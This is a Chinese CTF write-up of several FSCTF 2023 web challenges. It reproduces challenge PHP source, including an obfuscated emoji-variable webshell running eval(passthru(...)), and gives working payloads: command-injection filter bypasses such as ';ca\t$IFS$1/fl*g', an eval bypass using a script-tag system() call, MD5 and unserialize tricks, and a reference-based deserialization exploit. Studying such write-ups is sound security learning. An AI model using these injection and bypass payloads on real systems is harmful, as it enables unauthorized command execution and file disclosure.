[FSCTF 2023] web题解

文章目录


源码!启动!

打开题目,发现右键被禁了

直接ctrl+u查看源码得到flag

webshell是啥捏

源码

复制代码
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽'])) {
    eval($😭($_GET['👽']));
};

?>

php中变量与变量之间用点号连接表示拼接

题目拼接结果为passthru

那么我们直接ls /

得到flag

细狗2.0

简单的命令执行绕过

payload

复制代码
?hongzh0=;ca\t$IFS$1/fl*g

得到flag

ez_php1

源码

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?> 

分析一下,就是简单的MD5绕过和php解析特性

得到hint
访问./L0vey0U.php

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
    echo "$hint2";
}
?>

exp

复制代码
<?php
$str = 'YES I love';
echo serialize($str);

得到第二个hint
访问./P0int.php

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

非常简单的变量引用

exp如下

复制代码
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

解码得到flag

Hello,you

简单的命令注入,用分号隔断命令

复制代码
1;ls

反斜杠绕过和星号绕过

复制代码
1;ca\t f*

EZ_eval

源码

复制代码
<?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

简单分析下,eval函数中已经闭合前面?>,那么我们要自己输入php的头<?,由于问号被过滤了

这里用secript(文件上传做的多会很快想到),然后就是一些常规过滤,用%09代替空格,反斜杠绕过关键字检测

复制代码
?word=<script%09language="php">system('ca\t%09/fl\ag');</script>

得到flag

相关推荐
峥嵘life5 小时前
Android16 311Y3 EAP-TLS 网络连接失败分析与修复总结
android·开发语言·人工智能·php
不可求~6 小时前
多模型路由怎么落地:把任务分流写进项目的最小实现
java·前端·数据库
何事误红尘8 小时前
全志A40i学习笔记():开发资料、启用串口
学习
for_ever_love__9 小时前
python基础语法学习: 异常的传递性
开发语言·python·学习
AC赳赳老秦9 小时前
公开图片 OCR 数据提取:OpenClaw 合规采集公开信息图,识别文字与表格并转化为结构化数据
java·大数据·前端·数据库·python·php·openclaw
谢慧琼9 小时前
2026零基础做企业网站,低成本搭建官方网站
服务器·前端·javascript
PC2005-cloud9 小时前
DeepSeek Harness 创建 skill 指南:结构、安装、使用
笔记·学习
YM52e9 小时前
分页查询的基石:ArkTS 为鸿蒙商品列表设计 LIMIT/OFFSET 的表
android·学习·华为·harmonyos
math_hongfan9 小时前
主从嵌套层次分明:ArkUI 订单卡片内嵌明细的鸿蒙界面
学习·华为·harmonyos
吴声子夜歌10 小时前
网络安全——概述(一)
安全·web安全